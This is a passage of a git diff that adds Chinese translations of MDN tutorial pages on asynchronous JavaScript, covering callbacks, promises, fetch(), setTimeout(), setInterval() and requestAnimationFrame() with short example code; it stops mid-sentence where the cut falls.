+<p>为什么使用异步代码这么难?看一个例子,当你从服务器获取一个图像,通常你不可能立马就得到,这需要时间,虽然现在的网络很快。这意味着下面的伪代码可能不能正常工作:</p> + +<pre class="brush: js notranslate">var response = fetch('myImage.png'); +var blob = response.blob(); +// display your image blob in the UI somehow</pre> + +<p>因为你不知道下载图片会多久,所以第二行代码执行的时候可能报错(可能间歇的,也可能每次)因为图像还没有就绪。取代的方法就是,代码必须等到 <code>response</code> 返回才能继续往下执行。</p> + +<p>在JavaScript代码中,你经常会遇到两种异步编程风格:老派callbacks,新派promise。下面就来分别介绍。</p> + +<h2 id="异步callbacks">异步callbacks</h2> + +<p>异步callbacks 其实就是函数,只不过是作为参数传递给那些在后台执行的其他函数. 当那些后台运行的代码结束,就调用callbacks函数,通知你工作已经完成,或者其他有趣的事情发生了。使用callbacks 有一点老套,在一些老派但经常使用的API里面,你会经常看到这种风格。</p> + +<p>举个例子,异步callback 就是{{domxref("EventTarget.addEventListener", "addEventListener()")}}第二个参数(前面的例子):</p> + +<pre class="brush: js notranslate">btn.addEventListener('click', () => { + alert('You clicked me!'); + + let pElem = document.createElement('p'); + pElem.textContent = 'This is a newly-added paragraph.'; + document.body.appendChild(pElem); +});</pre> + +<p>第一个参数是侦听的事件类型,第二个就是事件发生时调用的回调函数。.</p> + +<p>当我们把回调函数作为一个参数传递给另一个函数时,仅仅是把回调函数定义作为参数传递过去 — 回调函数并没有立刻执行,回调函数会在包含它的函数的某个地方异步执行,包含函数负责在合适的时候执行回调函数。</p> + +<p>你可以自己写一个容易的,包含回调函数的函数。来看另外一个例子,用 <a href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code> API</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/xhr-async-callback.html">运行它</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/xhr-async-callback.html">源代码</a>) 加载资源:</p> + +<pre class="brush: js notranslate">function loadAsset(url, type, callback) { + let xhr = new XMLHttpRequest(); + xhr.open('GET', url); + xhr.responseType = type; + + xhr.onload = function() { + callback(xhr.response); + }; + + xhr.send(); +} + +function displayImage(blob) { + let objectURL = URL.createObjectURL(blob); + + let image = document.createElement('img'); + image.src = objectURL; + document.body.appendChild(image); +} + +loadAsset('coffee.jpg', 'blob', displayImage);</pre> + +<p>创建 <code>displayImage()</code> 函数,简单的把blob传递给它,生成objectURL,然后再生成一个image元素,把objectURL作为image的源地址,最后显示这张图片。 然后,我们创建 <code>loadAsset()</code> 函数,把URL,type,和回调函数同时都作为参数。函数用 <code>XMLHttpRequest</code> (通常缩写 "XHR") 获取给定URL的资源,在获得资源响应后再把响应作为参数传递给回调函数去处理。 (使用 <code><a href="/en-US/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code> 事件处理) ,有点烧脑,是不是?!</p> + +<p>回调函数用途广泛 — 他们不仅仅可以用来控制函数的执行顺序和函数之间的数据传递,还可以根据环境的不同,将数据传递给不同的函数,所以对下载好的资源,你可以采用不同的操作来处理,譬如 <code>processJSON()</code>, <code>displayText()</code>, 等等。</p> + +<p>请注意,不是所有的回调函数都是异步的 — 有一些是同步的。一个例子就是使用 {{jsxref("Array.prototype.forEach()")}} 来遍历数组 (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/foreach.html">运行</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/foreach.html">源代码</a>):</p> + +<pre class="brush: js notranslate">const gods = ['Apollo', 'Artemis', 'Ares', 'Zeus']; + +gods.forEach(function (eachName, index){ + console.log(index + '. ' + eachName); +});</pre> + +<p>在这个例子中,我们遍历一个希腊神的数组,并在控制台中打印索引和值。<code>forEach()</code> 需要的参数是一个回调函数,回调函数本身带有两个参数,数组元素和索引值。它无需等待任何事情,立即运行。</p> + +<h2 id="Promises">Promises</h2> + +<p>Promises 是新派的异步代码,现代的web APIs经常用到。 <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch()</a></code> API就是一个很好的例子, 它基本上就是一个现代版的,更高效的 {{domxref("XMLHttpRequest")}}。看个例子,来自于文章 <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a> :</p> + +<pre class="brush: js notranslate">fetch('products.json').then(function(response) { + return response.json(); +}).then(function(json) { + products = json; + initialize(); +}).catch(function(err) { + console.log('Fetch problem: ' + err.message); +});</pre> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: 在GitHub上有完整的代码 (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store-xhr/can-script.js">see the source here</a>, and also <a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store-xhr/">see it running live</a>)。</p> +</div> + +<p>这里<code>fetch</code><code>()</code> 只需要一个参数— 资源的网络 URL — 返回一个 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promise</a>. promise 是表示异步操作完成或失败的对象。可以说,它代表了一种中间状态。 本质上,这是浏览器说“我保证尽快给您答复”的方式,因此得名“promise”。</p> + +<p>这个概念需要练习来适应;它感觉有点像运行中的{{interwiki("wikipedia", "薛定谔猫")}}。这两种可能的结果都还没有发生,因此fetch操作目前正在等待浏览器试图在将来某个时候完成该操作的结果。然后我们有三个代码块链接到fetch()的末尾:</p> + +<ul> + <li>两个 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then">then()</a></code> 块。两者都包含一个回调函数,如果前一个操作成功,该函数将运行,并且每个回调都接收前一个成功操作的结果作为输入,因此您可以继续对它执行其他操作。每个 <code>.then()</code>块返回另一个promise,这意味着可以将多个<code>.then()</code>块链接到另一个块上,这样就可以依次执行多个异步操作。</li> + <li>如果其中任何一个<code>then()</code>块失败,则在末尾运行<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/catch">catch()</a></code>块——与同步<code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code>类似,<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/catch">catch()</a></code>提供了一个错误对象,可用来报告发生的错误类型。但是请注意,同步<code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code>不能与promise一起工作,尽管它可以与<a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">async/await</a>一起工作,稍后您将了解到这一点。</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: 在本模块稍后的部分中,你将学习更多关于promise的内容,所以如果你还没有完全理解这些promise,请不要担心。</p> +</div> + +<h3 id="事件队列">事件队列</h3> + +<p>像promise这样的异步操作被放入事件队列中,事件队列在主线程完成处理后运行,这样它们就不会阻止后续JavaScript代码的运行。排队操作将尽快完成,然后将结果返回到JavaScript环境。</p> + +<h3 id="Promises_对比_callbacks">Promises 对比 callbacks</h3> + +<p>promises与旧式callbacks有一些相似之处。它们本质上是一个返回的对象,您可以将回调函数附加到该对象上,而不必将回调作为参数传递给另一个函数。</p> + +<p>然而,<code>Promise</code>是专门为异步操作而设计的,与旧式回调相比具有许多优点:</p> + +<ul> + <li>您可以使用多个then()操作将多个异步操作链接在一起,并将其中一个操作的结果作为输入传递给下一个操作。这种链接方式对回调来说要难得多,会使回调以混乱的“末日金字塔”告终。 (也称为<a href="http://callbackhell.com/">回调地狱</a>)。</li> + <li><code>Promise</code>总是严格按照它们放置在事件队列中的顺序调用。</li> + <li>错误处理要好得多——所有的错误都由块末尾的一个.catch()块处理,而不是在“金字塔”的每一层单独处理。</li> +</ul> + +<h2 id="异步代码的本质">异步代码的本质</h2> + +<p>让我们研究一个示例,它进一步说明了异步代码的本质,展示了当我们不完全了解代码执行顺序以及将异步代码视为同步代码时可能发生的问题。下面的示例与我们之前看到的非常相似( <a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/async-sync.html">运行它</a> 和 <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync.html">源代码</a>)。一个不同之处在于,我们包含了许多{{domxref("console.log()")}}语句,以展示代码将在其中执行的顺序。</p> + +<pre class="brush: js notranslate">console.log ('Starting'); +let image; + +fetch('coffee.jpg').then((response) => { + console.log('It worked :)') + return response.blob(); +}).then((myBlob) => { + let objectURL = URL.createObjectURL(myBlob); + image = document.createElement('img'); + image.src = objectURL; + document.body.appendChild(image); +}).catch((error) => { + console.log('There has been a problem with your fetch operation: ' + error.message); +}); + +console.log ('All done!');</pre> + +<p>浏览器将会执行代码,看见第一个<code>console.log()</code> 输出(<code>Starting</code>) ,然后创建<code>image</code> 变量。</p> + +<p>然后,它将移动到下一行并开始执行<code>fetch()</code>块,但是,因为<code>fetch()</code>是异步执行的,没有阻塞,所以在<code>promise</code>相关代码之后程序继续执行,从而到达最后的<code>console.log()</code>语句(<code>All done</code>!)并将其输出到控制台。</p> + +<p>只有当<code>fetch()</code> 块完成运行返回结果给<code>.then()</code> ,我们才最后看到第二个<code>console.log()</code> 消息 (<code>It worked ;)</code>) . 所以 这些消息 可能以 和你预期不同的顺序出现:</p> + +<ul> + <li>Starting</li> + <li>All done!</li> + <li>It worked :)</li> +</ul> + +<p>如果你感到疑惑,考虑下面这个小例子:</p> + +<pre class="brush: js notranslate">console.log("registering click handler"); + +button.addEventListener('click', () => { + console.log("get click"); +}); + +console.log("all done");</pre> + +<p>这在行为上非常相似——第一个和第三个<code>console.log()</code>消息将立即显示,但是第二个消息将被阻塞,直到有人单击鼠标按钮。前面的示例以相同的方式工作,只是在这种情况下,第二个消息在<code>promise</code>链上被阻塞,直到获取资源后再显示在屏幕上,而不是单击。</p> + +<p>要查看实际情况,请尝试获取<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync.html">示例</a>的本地副本,并将第三个<code>console.log()</code>调用更改为以下命令:</p> + +<pre class="brush: js notranslate">console.log ('All done! ' + image + 'displayed.');</pre> + +<p>此时控制台将会报错,而不会显示第三个 <code>console.log</code> 的信息:</p> + +<pre class="notranslate"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">TypeError: image is undefined; can't access its "src" property</span></span></span></pre> + +<p>这是因为:浏览器运行第三个<code>console.log()</code>的时候,<code>fetch()</code> 语句块还没有完成,因此<code>image</code>还没有赋值。</p> + +<h2 id="主动学习:把代码全部异步化">主动学习:把代码全部异步化</h2> + +<p>要修复有问题的<code>fetch()</code>示例并使三个<code>console.log()</code>语句按期望的顺序出现,还可以让第三个<code>console.log()</code>语句异步运行。这可以通过将它移动到另一个<code>then()</code>块中来实现,然后将它链接到第二个<code>then()</code>块的末尾,或者简单地将它移动到第二个<code>then()</code>块中。现在就试试。</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: 如果你困住了,你可以<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync-fixed.html">在这里找到答案</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/async-sync-fixed.html">这里运行</a>)。在后面的文章:<a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">用Promises优雅的异步编程</a>, 你将会发现更多信息。</p> +</div> + +<h2 id="小结">小结</h2> + +<p>在最基本的形式中,JavaScript是一种同步的、阻塞的、单线程的语言,在这种语言中,一次只能执行一个操作。但web浏览器定义了函数和API,允许我们当某些事件发生时不是按照同步方式,而是异步地调用函数(比如,时间的推移,用户通过鼠标的交互,或者获取网络数据)。这意味着您的代码可以同时做几件事情,而不需要停止或阻塞主线程。</p> + +<p>异步还是同步执行代码,取决于我们要做什么。</p> + +<p>有些时候,我们希望事情能够立即加载并发生。例如,当将一些用户定义的样式应用到一个页面时,您希望这些样式能够尽快被应用。</p> + +<p>但是,如果我们正在运行一个需要时间的操作,比如查询数据库并使用结果填充模板,那么最好将该操作从主线程中移开使用异步完成任务。随着时间的推移,您将了解何时选择异步技术比选择同步技术更有意义。</p> + +<ul> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Concepts", "Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous")}}</p> + +<h2 id="模块大纲">模块大纲</h2> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">通用异步编程概念</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">异步JavaScript简介</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">合作异步JavaScript: Timeouts and intervals</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">使用Promises优雅地异步编程</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">使用 async 和 await 使异步编程更容易</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">选择正确的方法</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/异步/超时和间隔/index.html b/files/zh-cn/learn/javascript/异步/超时和间隔/index.html new file mode 100644 index 0000000000..2cf83da82c --- /dev/null +++ b/files/zh-cn/learn/javascript/异步/超时和间隔/index.html @@ -0,0 +1,617 @@ +--- +title: '合作异步JavaScript: 超时和间隔' +slug: learn/JavaScript/异步/超时和间隔 +translation_of: Learn/JavaScript/Asynchronous/Timeouts_and_intervals +--- +<div>{{LearnSidebar}}</div> + +<div></div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}}</div> + +<div></div> + +<p class="summary">在这里,我们将讨论传统的JavaScript方法,这些方法可以在一段时间或一段规则间隔(例如,每秒固定的次数)之后,以异步方式运行代码,并讨论它们的用处,以及它们的固有问题。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备条件:</th> + <td>基本的计算机知识,对JavaScript基本原理有较好的理解。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解异步循环和间隔及其用途。</td> + </tr> + </tbody> +</table> + +<h2 id="介绍">介绍</h2> + +<p>很长一段时间以来,web平台为JavaScript程序员提供了许多函数,这些函数允许您在一段时间间隔过后异步执行代码,或者重复异步执行代码块,直到您告诉它停止为止。这些都是:</p> + +<dl> + <dt><code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code></dt> + <dd>在指定的时间后执行一段代码.</dd> + <dt><code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a></code></dt> + <dd>以固定的时间间隔,重复运行一段代码.</dd> + <dt><code><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame()</a></code></dt> + <dd>setInterval()的现代版本;在浏览器下一次重新绘制显示之前执行指定的代码块,从而允许动画在适当的帧率下运行,而不管它在什么环境中运行.</dd> +</dl> + +<p>这些函数设置的异步代码实际上在主线程上运行(在其指定的计时器过去之后)。</p> + +<p>在 <code>setTimeout()</code> 调用执行之前或 <code>setInterval()</code> 迭代之间可以(并且经常会)运行其他代码。根据这些操作的处理器密集程度,它们可以进一步延迟异步代码,因为任何异步代码仅在主线程可用后才执行(换句话说,当调用栈为空时)。在阅读本文时,您将学到更多关于此问题的信息。</p> + +<p>无论如何,这些函数用于在web站点或应用程序上运行不间断的动画和其他后台处理。在下面的部分中,我们将向您展示如何使用它们。</p> + +<h2 id="setTimeout">setTimeout()</h2> + +<p>正如前述, <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code> 在指定的时间后执行一段特定代码. 它需要如下参数:</p> + +<ul> + <li>要运行的函数,或者函数引用。</li> + <li>表示在执行代码之前等待的时间间隔(以毫秒为单位,所以1000等于1秒)的数字。如果指定值为0(或完全省略该值),函数将尽快运行(参阅下面的注释,了解为什么它“尽快”而不是“立即”运行)。稍后详述这样做的原因。</li> + <li>更多的参数:在指定函数运行时,希望传递给函数的值。</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>Note:</strong> 指定的时间(或延迟)不能保证在指定的确切时间之后执行,而是最短的延迟执行时间。在主线程上的堆栈为空之前,传递给这些函数的回调将无法运行。</p> + +<p>结果,像 <code>setTimeout(fn, 0)</code> 这样的代码将在堆栈为空时立即执行,而不是立即执行。如果执行类似 <code>setTimeout(fn, 0)</code> 之类的代码,之后立即运行从 1 到 100亿 的循环之后,回调将在几秒后执行。 </p> +</div> + +<p>在下面的示例中,浏览器将在执行匿名函数之前等待两秒钟,然后显示alert消息 (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/simple-settimeout.html">see it running live</a>, and <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/simple-settimeout.html">see the source code</a>):</p> + +<pre class="brush: js notranslate">let myGreeting = setTimeout(function() { + alert('Hello, Mr. Universe!'); +}, 2000)</pre> + +<p>我们指定的函数不必是匿名的。我们可以给函数一个名称,甚至可以在其他地方定义它,并将函数引用传递给 <code>setTimeout()</code> 。以下两个版本的代码片段相当于第一个版本:</p> + +<pre class="brush: js notranslate">// With a named function +let myGreeting = setTimeout(function sayHi() { + alert('Hello, Mr. Universe!'); +}, 2000) + +// With a function defined separately +function sayHi() { + alert('Hello Mr. Universe!'); +} + +let myGreeting = setTimeout(sayHi, 2000);</pre> + +<p>例如,如果我们有一个函数既需要从超时调用,也需要响应某个事件,那么这将非常有用。此外它也可以帮助保持代码整洁,特别是当超时回调超过几行代码时。</p> + +<p><code>setTimeout()</code> 返回一个标志符变量用来引用这个间隔,可以稍后用来取消这个超时任务,下面就会学到 {{anch("Clearing timeouts")}} 。</p> + +<h3 id="传递参数给setTimeout">传递参数给setTimeout() </h3> + +<p>我们希望传递给<code>setTimeout()</code>中运行的函数的任何参数,都必须作为列表末尾的附加参数传递给它。</p> + +<p>例如,我们可以重构之前的函数,这样无论传递给它的人的名字是什么,它都会向它打招呼:</p> + +<pre class="brush: js notranslate">function sayHi(who) { + alert('Hello ' + who + '!'); +}</pre> + +<p>人名可以通过第三个参数传进 <code>setTimeout()</code> :</p> + +<pre class="brush: js notranslate">let myGreeting = setTimeout(sayHi, 2000, 'Mr. Universe');</pre> + +<h3 id="清除超时">清除超时</h3> + +<p>最后,如果创建了 timeout,您可以通过调用<code>clearTimeout()</code>,将<code>setTimeout()</code>调用的标识符作为参数传递给它,从而在超时运行之前取消。要取消上面的超时,你需要这样做:</p> + +<pre class="brush: js notranslate">clearTimeout(myGreeting);</pre> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 请参阅 <a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/greeter-app.html">greeter-app.html</a> 以获得稍微复杂一点的演示,该演示允许您在表单中设置要打招呼的人的姓名,并使用单独的按钮取消问候语(<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/greeter-app.html">see the source code also</a>)。</p> +</div> + +<h2 id="setInterval">setInterval()</h2> + +<p>当我们需要在一段时间之后运行一次代码时,<code>setTimeout()</code>可以很好地工作。但是当我们需要反复运行代码时会发生什么,例如在动画的情况下?</p> + +<p>这就是<code>setInterval()</code>的作用所在。这与<code>setTimeout()</code>的工作方式非常相似,只是作为第一个参数传递给它的函数,<strong>重复</strong>执行的时间不少于第二个参数给出的毫秒数,<strong>而不是一次执行</strong>。您还可以将正在执行的函数所需的任何参数作为 <code>setInterval()</code> 调用的后续参数传递。</p> + +<p>让我们看一个例子。下面的函数创建一个新的<code>Date()</code>对象,使用<code>toLocaleTimeString()</code>从中提取一个时间字符串,然后在UI中显示它。然后,我们使用<code>setInterval()</code>每秒运行该函数一次,创建一个每秒更新一次的数字时钟的效果。</p> + +<p>(<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">see this live</a>, and also <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">see the source</a>):</p> + +<pre class="brush: js notranslate">function displayTime() { + let date = new Date(); + let time = date.toLocaleTimeString(); + document.getElementById('demo').textContent = time; +} + +const createClock = setInterval(displayTime, 1000);</pre> + +<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">像</span></font>setTimeout()一样</code>, <code>setInterval()</code> 返回一个确定的值,稍后你可以用它来取消间隔任务。</p> + +<h3 id="清除intervals">清除intervals</h3> + +<p><code>setInterval</code>()永远保持运行任务,除非我们做点什么——我们可能会想阻止这样的任务,否则当浏览器无法完成任何进一步的任务时我们可能得到错误, 或者动画处理已经完成了。我们可以用与停止超时相同的方法来实现这一点——通过将<code>setInterval</code>()调用返回的标识符传递给<code>clearInterval</code>()函数:</p> + +<pre class="brush: js notranslate">const myInterval = setInterval(myFunction, 2000); + +clearInterval(myInterval);</pre> + +<h4 id="主动学习:创建秒表!">主动学习:创建秒表!</h4> + +<p>话虽如此,我们还是要给你一个挑战。以我们的<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">setInterval-clock.html</a>为例,修改它以创建您自己的简单秒表。</p> + +<p>你要像前面一样显示时间,但是在这里,你需要:</p> + +<ul> + <li>"Start" 按钮开始计时.</li> + <li>"Stop" 按钮暂停/停止计时</li> + <li>"Reset" 按钮清零.</li> + <li>时间显示经过的秒数.</li> +</ul> + +<p>提示:</p> + +<ul> + <li>您可以随心所欲地构造按钮标记;只需确保使用HTML语法,确保JavaScript获取按钮引用。</li> + <li>创建一个变量,从0开始,每秒钟增加1.</li> + <li>与我们版本中所做的一样,在不使用<code>Date</code>()对象的情况下创建这个示例更容易一些,但是不那么精确——您不能保证回调会在恰好1000ms之后触发。更准确的方法是运行<code>startTime = Date.now()</code>来获取用户单击start按钮的确切时间戳,然后执行<code>Date.now() - startTime</code>来获取单击<code>start</code>按钮后的毫秒数。</li> + <li>您还希望将小时、分钟和秒作为单独的值计算,然后在每次循环迭代之后将它们一起显示在一个字符串中。从第二个计数器,你可以计算出他们.</li> + <li>如何计时时分秒? 想一下: + <ul> + <li>一小时3600秒.</li> + <li>分钟应该是:时间减去小时后剩下的除以60.</li> + <li>分钟都减掉后,剩下的就是秒钟了.</li> + </ul> + </li> + <li>如果这个数字小于10,最好在显示的值前面加一个0,这样看起来更加像那么回事。</li> + <li>暂停的话,要清掉间隔函数。重置的话,显示要清零,要更新显示</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: 如果您在操作过程有困难,请参考 <a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-stopwatch.html">see it runing live</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-stopwatch.html">source code</a> also).</p> +</div> + +<h2 id="关于_setTimeout_和_setInterval_需要注意的几点">关于 setTimeout() 和 setInterval() 需要注意的几点</h2> + +<p>当使用 <code>setTimeout()</code> 和 <code>setInterval()</code>的时候,有几点需要额外注意。 现在让我们回顾一下:</p> + +<h3 id="递归的timeouts">递归的timeouts</h3> + +<p>还有另一种方法可以使用<code>setTimeout()</code>:我们可以递归调用它来重复运行相同的代码,而不是使用<code>setInterval()</code>。</p> + +<p>下面的示例使用递归<code>setTimeout()</code>每100毫秒运行传递来的函数:</p> + +<pre class="brush: js notranslate">let i = 1; + +setTimeout(function run() { + console.log(i); + i++; + setTimeout(run, 100); +}, 100);</pre> + +<p>将上面的示例与下面的示例进行比较 ––这使用 <code>setInterval()</code> 来实现相同的效果:</p> + +<pre class="brush: js notranslate">let i = 1; + +setInterval(function run() { + console.log(i); + i++ +}, 100);</pre> + +<h4 id="递归setTimeout和setInterval有何不同?">递归setTimeout()和setInterval()有何不同?</h4> + +<p>上述代码的两个版本之间的差异是微妙的。</p> + +<ul> + <li>递归 <code>setTimeout()</code> 保证执行之间的延迟相同,例如在上述情况下为100ms。 代码将运行,然后在它再次运行之前等待100ms,因此无论代码运行多长时间,间隔都是相同的。</li> + <li>使用 <code>setInterval()</code> 的示例有些不同。 我们选择的间隔包括执行我们想要运行的代码所花费的时间。假设代码需要40毫秒才能运行 - 然后间隔最终只有60毫秒。</li> + <li>当递归使用 <code>setTimeout()</code> 时,每次迭代都可以在运行下一次迭代之前计算不同的延迟。 换句话说,第二个参数的值可以指定在再次运行代码之前等待的不同时间(以毫秒为单位)。</li> +</ul> + +<p>当你的代码有可能比你分配的时间间隔,花费更长时间运行时,最好使用递归的 <code>setTimeout()</code> - 这将使执行之间的时间间隔保持不变,无论代码执行多长时间,你不会得到错误。</p> + +<h3 id="立即超时">立即超时</h3> + +<p>使用0用作setTimeout()的回调函数会立刻执行,但是在主线程代码运行之后执行。</p> + +<p>举个例子,下面的代码(<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/zero-settimeout.html">see it live</a>) 输出一个包含警报的"Hello",然后在您点击第一个警报的OK之后立即弹出“world”。</p> + +<pre class="brush: js notranslate">setTimeout(function() { + alert('World'); +}, 0); + +alert('Hello');</pre> + +<p><font><font>如果您希望设置一个代码块以便在所有主线程完成运行后立即运行,这将很有用。将其放在异步事件循环中,这样它将随后直接运行。</font></font></p> + +<h3 id="使用_clearTimeout_or_clearInterval清除">使用 clearTimeout() or clearInterval()清除</h3> + +<p><code>clearTimeout()</code> 和<code>clearInterval()</code> 都使用相同的条目列表进行清除。有趣的是,这意味着你可以使用任一一种方法来清除 <code>setTimeout()</code> 和 <code>setInterval()。</code></p> + +<p>但为了保持一致性,你应该使用 <code>clearTimeout()</code> 来清除 <code>setTimeout()</code> 条目,使用 <code>clearInterval()</code> 来清除 <code>setInterval()</code> 条目。 这样有助于避免混乱。</p> + +<h2 id="requestAnimationFrame">requestAnimationFrame()</h2> + +<p><code><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame()</a></code> 是一个专门的循环函数,旨在浏览器中高效运行动画。它基本上是现代版本的<code>setInterval()</code> —— 它在浏览器重新加载显示内容之前执行指定的代码块,从而允许动画以适当的帧速率运行,不管其运行的环境如何。</p> + +<p>它是针对<code>setInterval()</code> 遇到的问题创建的,比如 <code>setInterval()</code>并不是针对设备优化的帧率运行,有时会丢帧。还有即使该选项卡不是活动的选项卡或动画滚出页面等问题 。</p> + +<p>(在<a href="http://creativejs.com/resources/requestanimationframe/index.html">CreativeJS</a>上了解有关此内容的更多信息).</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong> 你可以在课程中其他地方找到<code>requestAnimationFrame()</code> 的使用范例—参见 <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a>, 和 <a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Object building practice</a>。</p> +</div> + +<p><font>该方法将重新加载页面之前要调用的回调函数作为参数。</font><font>这是您将看到的常见表达:</font></p> + +<pre class="brush: js notranslate">function draw() { + // Drawing code goes here + requestAnimationFrame(draw); +} + +draw();</pre> + +<p>这个想法是要定义一个函数,在其中更新动画 (例如,移动精灵,更新乐谱,刷新数据等),然后调用它来开始这个过程。在函数的末尾,以 <code>requestAnimationFrame()</code> 传递的函数作为参数进行调用,这指示浏览器在下一次显示重新绘制时再次调用该函数。然后这个操作连续运行, 因为<code>requestAnimationFrame()</code> 是递归调用的。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 如果要执行某种简单的常规DOM动画, <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS 动画</a> 可能更快,因为它们是由浏览器的内部代码计算而不是JavaScript直接计算的。但是,如果您正在做一些更复杂的事情,并且涉及到在DOM中不能直接访问的对象(such as <a href="/en-US/docs/Web/API/Canvas_API">2D Canvas API</a> or <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> objects), <code>requestAnimationFrame()</code> 在大多数情况下是更好的选择。</p> +</div> + +<h3 id="你的动画跑得有多快?">你的动画跑得有多快?</h3> + +<p>动画的平滑度直接取决于动画的帧速率,并以每秒帧数(fps)为单位进行测量。这个数字越高,动画看起来就越平滑。</p> + +<p>由于大多数屏幕的刷新率为60Hz,因此在使用web浏览器时,可以达到的最快帧速率是每秒60帧(FPS)。然而,更多的帧意味着更多的处理,这通常会导致卡顿和跳跃-也称为丢帧或跳帧。</p> + +<p>如果您有一个刷新率为60Hz的显示器,并且希望达到60fps,则大约有16.7毫秒(1000/60)来执行动画代码来渲染每个帧。这提醒我们,我们需要注意每次通过动画循环时要运行的代码量。</p> + +<p><code>requestAnimationFrame()</code> 总是试图尽可能接近60帧/秒的值,当然有时这是不可能的如果你有一个非常复杂的动画,你是在一个缓慢的计算机上运行它,你的帧速率将更少。<code>requestAnimationFrame()</code> 会尽其所能利用现有资源提升帧速率。</p> + +<h3 id="requestAnimationFrame_与_setInterval_和_setTimeout有什么不同"> requestAnimationFrame() 与 setInterval() 和 setTimeout()有什么不同?</h3> + +<p>让我们进一步讨论一下 <code>requestAnimationFrame()</code> 方法与前面介绍的其他方法的区别. 下面让我们看一下代码:</p> + +<pre class="brush: js notranslate">function draw() { + // Drawing code goes here + requestAnimationFrame(draw); +} + +draw();</pre> + +<p>现在让我们看看如何使用<code>setInterval()</code>:</p> + +<pre class="brush: js notranslate">function draw() { + // Drawing code goes here +} + +setInterval(draw, 17);</pre> + +<p>如前所述,我们没有为<code>requestAnimationFrame()</code>;指定时间间隔;它只是在当前条件下尽可能快速平稳地运行它。如果动画由于某些原因而处于屏幕外浏览器也不会浪费时间运行它。</p> + +<p> 另一方面<code>setInterval()</code>需要指定间隔。我们通过公式1000毫秒/60Hz得出17的最终值,然后将其四舍五入。四舍五入是一个好主意,浏览器可能会尝试运行动画的速度超过60fps,它不会对动画的平滑度有任何影响。如前所述,60Hz是标准刷新率。</p> + +<h3 id="包括时间戳">包括时间戳</h3> + +<p>传递给 